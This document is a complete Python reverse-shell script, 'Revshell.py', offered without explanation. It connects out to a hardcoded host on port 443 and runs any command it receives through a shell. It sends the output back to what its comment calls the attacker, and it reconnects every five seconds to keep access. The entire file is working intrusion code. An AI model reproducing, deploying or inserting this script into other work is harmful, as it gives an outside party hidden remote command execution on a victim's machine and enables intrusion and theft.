Revshell.py

import socket
import subprocess
import sys
import time

HOST = '10.0.0.12'    # The remote host
PORT = 443           # The same port as used by the server



def connect((host, port)):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    return s

def wait_for_command(s):
    data = s.recv(1024)
    if data == "quit\n":
        s.close()
        sys.exit(0)
    # the socket died
    elif len(data)==0:
        return True
    else:
        # do shell command
        proc = subprocess.Popen(data, shell=True,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            stdin=subprocess.PIPE)
        # read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        # send output to attacker
        s.send(stdout_value)
        return False

def main():
    while True:
        socked_died=False
        try:
            s=connect((HOST,PORT))
            while not socked_died:
                socked_died=wait_for_command(s)
            s.close()
        except socket.error:
            pass
        time.sleep(5)

if __name__ == "__main__":
    sys.exit(main())